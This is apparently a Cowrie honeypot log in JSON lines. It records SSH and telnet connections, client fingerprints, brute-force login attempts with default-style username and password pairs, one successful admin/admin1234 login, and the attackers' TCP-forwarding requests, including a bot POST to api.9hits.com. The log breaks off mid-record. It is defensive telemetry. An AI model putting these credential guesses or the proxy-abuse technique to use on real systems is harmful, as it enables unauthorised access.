{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.148.145.132","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:08:39.230768Z","session":"a4a5008191bc","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:08:39.244825Z","src_ip":"23.148.145.132","session":"a4a5008191bc","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xa2\\x98\\xac\\xfd\\xb1R\\x1b\\xf2\\x81\\'\\x9ex\\xc8\\xcb\\xe4b\\x94\\xc1\\x9d2\\x81\\x0f/\\xa2\\xc2\\x01\\xa6\\xcf\\xf0c\\xa3\\x1f \\x94m\\x18V\\x0fv\\n\\x80[\\xa9)]!/\\xe6D\\x0c\\xa6\\xb0\\x15\\xbf>\\x10\\x16*m\\x9f\\xb5\\xb4\\xe6E#\\x00\"jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 ?j\\xd5\\x0b;D\\xad\\xd8\\xa1\\xca\\x002\\xcb\\xe1\\x8fd\\x89\\xf1\\xa4\\xb0\\x84\\xe1\\x9cDd,t\\x07\\xa8L\\xc1m\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x1a\\x1a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xa2\\x98\\xac\\xfd\\xb1R\\x1b\\xf2\\x81\\'\\x9ex\\xc8\\xcb\\xe4b\\x94\\xc1\\x9d2\\x81\\x0f/\\xa2\\xc2\\x01\\xa6\\xcf\\xf0c\\xa3\\x1f \\x94m\\x18V\\x0fv\\n\\x80[\\xa9)]!/\\xe6D\\x0c\\xa6\\xb0\\x15\\xbf>\\x10\\x16*m\\x9f\\xb5\\xb4\\xe6E#\\x00\"jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 ?j\\xd5\\x0b;D\\xad\\xd8\\xa1\\xca\\x002\\xcb\\xe1\\x8fd\\x89\\xf1\\xa4\\xb0\\x84\\xe1\\x9cDd,t\\x07\\xa8L\\xc1m\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x1a\\x1a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:08:39.248598Z","src_ip":"23.148.145.132","session":"a4a5008191bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.236857414245605,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:08:40.547971Z","src_ip":"172.81.62.90","session":"5b1df719159c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"20.5","message":"Connection lost after 20.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:08:46.528404Z","src_ip":"23.148.145.132","session":"a4a5008191bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.93.50.90","src_port":41778,"dst_ip":"159.203.135.109","dst_port":22,"session":"95d6d8fb1dee","protocol":"ssh","message":"New connection: 182.93.50.90:41778 (159.203.135.109:22) [session: 95d6d8fb1dee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:09:03.544642Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:09:03.549547Z","src_ip":"182.93.50.90","session":"95d6d8fb1dee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:09:03.774402Z","src_ip":"182.93.50.90","session":"95d6d8fb1dee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"us","password":"123","message":"login attempt [us/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:09:04.687006Z","src_ip":"182.93.50.90","session":"95d6d8fb1dee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:09:05.908682Z","src_ip":"182.93.50.90","session":"95d6d8fb1dee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":60204,"dst_ip":"159.203.135.109","dst_port":22,"session":"4c8a6f206068","protocol":"ssh","message":"New connection: 103.27.238.114:60204 (159.203.135.109:22) [session: 4c8a6f206068]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:09:19.181307Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:09:19.185819Z","src_ip":"103.27.238.114","session":"4c8a6f206068","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:09:19.455120Z","src_ip":"103.27.238.114","session":"4c8a6f206068","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"maxell","message":"login attempt [root/maxell] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:09:20.264921Z","src_ip":"103.27.238.114","session":"4c8a6f206068","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:09:21.538776Z","src_ip":"103.27.238.114","session":"4c8a6f206068","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.79.165.43","src_port":45998,"dst_ip":"159.203.135.109","dst_port":22,"session":"4684fffa197c","protocol":"ssh","message":"New connection: 101.79.165.43:45998 (159.203.135.109:22) [session: 4684fffa197c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:09:34.587859Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:09:34.594422Z","src_ip":"101.79.165.43","session":"4684fffa197c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:09:34.812722Z","src_ip":"101.79.165.43","session":"4684fffa197c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"agent","password":"agent1","message":"login attempt [agent/agent1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:09:35.705575Z","src_ip":"101.79.165.43","session":"4684fffa197c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:09:36.926417Z","src_ip":"101.79.165.43","session":"4684fffa197c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.164.152.20","src_port":52489,"dst_ip":"10.17.0.5","dst_port":22,"session":"005ce0f251be","protocol":"ssh","message":"New connection: 113.164.152.20:52489 (10.17.0.5:22) [session: 005ce0f251be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:09:38.658120Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:09:38.664812Z","src_ip":"113.164.152.20","session":"005ce0f251be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:09:38.989303Z","src_ip":"113.164.152.20","session":"005ce0f251be","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:09:41.311847Z","src_ip":"113.164.152.20","session":"005ce0f251be","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:09:41.850585Z","session":"005ce0f251be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":35956,"dst_ip":"159.203.135.109","dst_port":23,"session":"f5f7416300a2","protocol":"telnet","message":"New connection: 128.199.8.54:35956 (159.203.135.109:23) [session: f5f7416300a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:09:41.855066Z"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:09:42.090615Z","session":"005ce0f251be","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:09:42.486234Z","src_ip":"113.164.152.20","session":"005ce0f251be","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1190\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 9.0; SM-A205U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=JTQ2TThYL0dsNnpnaGJMaQ%3D%3DPqRVbMGsrr%2F64sH53Fcss2H8gcpNkpjTx5%2FZrzx7EdR0ccqI4TeFtrTD4eJaRlURm%2BjPhnyQ4vkWO2WiJl%2F92ggGPXPO0ahhl%2B47XApahF647k1JCxtL5mL92ROhRZHCn%2BrcLV%2BUd6kSohxZT89YFa3Y%2BOfFbv%2FlBcGQeBRtq0I%2BCdRUC64IHPJ2iaHnwmUkEFtcohxgbw77%2Fqmc6odBPSjEG1cP3bky8Ou1lLwJjB8eJR22l%2BSXs8PN3DhZLaO4lh%2BQTYbG6o8B77tvnZ1sba3LFM96BHb6E01vpeIDidX8DAAOj8Opq4OXEU%2FHAriYY16p7YnZZLQttgXoLziTb84rxXDGMivjqeNuY1A2bKu15H%2BM07oj%2Bllb%2Fr9gYPP6Wu2JhSQWsginMgEnUiCpSb5WkfAKfWCe2Pj7fXqstlcG3jwdHNiUinQBa0LuziKIhMY8QWCqsk2d8CYkO3F8kUTl%2FKaxyROsy%2FrWjfcQNqAaRs1O%2FLsQEAPDrZFhsBw66E6LZNuJkQmXrT7B0T1youDJVmLqNJ3WO%2FdceW5BwcfZ0yO3AubgkLFR6a%2BeBQxa87QgOSGwg%2F3A0KbNSR2%2Fqf1UzMXy%2FGJe4kD8sQXxCRuwVUWXW%2B3iWlqXssrjtymgJxr9OFHlvZrcMNwwoWr%2BE%2BQSyBF0riW%2FmB6x6prz2FYu2PoO%2F%2FRKXQCTirLIPnaezsEX3jO5NaEK8lArHPa0%2FRbVrZ9kkM3X3U9tGzRguzfos5WNHm17ioosMw8jz2gRpXCCi8WbuDyRqnkTjlmOUX0n0zUA5agkxGlKB9dCNwmuplDHV%2FsuEZk2spw6lkm6WA%2FCrrhAh%2BFLCwZn7Xr05b4VA4MHQokptRx3HqgZHDMio8KxTKoMEhq5jBLx1YdLjDCIM3d%2FLfVeL5vnM05Q%2FIpLCC%2F7RO8LKs9BNJBt1suEc%2Fw9QDZqjDixoyp5oBqGXUKaWW0M6UoRUTfCwi8BoDvuuw1jFH4kzvOQxjs4S0WFLLGWMrT%2B7bvA1SBBDr%2F5Q%2F8F%2BylhZA%2Fxw0jWARLeCy6gfqE0El6kByxD81%2FcfF0%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1190\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 9.0; SM-A205U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=JTQ2TThYL0dsNnpnaGJMaQ%3D%3DPqRVbMGsrr%2F64sH53Fcss2H8gcpNkpjTx5%2FZrzx7EdR0ccqI4TeFtrTD4eJaRlURm%2BjPhnyQ4vkWO2WiJl%2F92ggGPXPO0ahhl%2B47XApahF647k1JCxtL5mL92ROhRZHCn%2BrcLV%2BUd6kSohxZT89YFa3Y%2BOfFbv%2FlBcGQeBRtq0I%2BCdRUC64IHPJ2iaHnwmUkEFtcohxgbw77%2Fqmc6odBPSjEG1cP3bky8Ou1lLwJjB8eJR22l%2BSXs8PN3DhZLaO4lh%2BQTYbG6o8B77tvnZ1sba3LFM96BHb6E01vpeIDidX8DAAOj8Opq4OXEU%2FHAriYY16p7YnZZLQttgXoLziTb84rxXDGMivjqeNuY1A2bKu15H%2BM07oj%2Bllb%2Fr9gYPP6Wu2JhSQWsginMgEnUiCpSb5WkfAKfWCe2Pj7fXqstlcG3jwdHNiUinQBa0LuziKIhMY8QWCqsk2d8CYkO3F8kUTl%2FKaxyROsy%2FrWjfcQNqAaRs1O%2FLsQEAPDrZFhsBw66E6LZNuJkQmXrT7B0T1youDJVmLqNJ3WO%2FdceW5BwcfZ0yO3AubgkLFR6a%2BeBQxa87QgOSGwg%2F3A0KbNSR2%2Fqf1UzMXy%2FGJe4kD8sQXxCRuwVUWXW%2B3iWlqXssrjtymgJxr9OFHlvZrcMNwwoWr%2BE%2BQSyBF0riW%2FmB6x6prz2FYu2PoO%2F%2FRKXQCTirLIPnaezsEX3jO5NaEK8lArHPa0%2FRbVrZ9kkM3X3U9tGzRguzfos5WNHm17ioosMw8jz2gRpXCCi8WbuDyRqnkTjl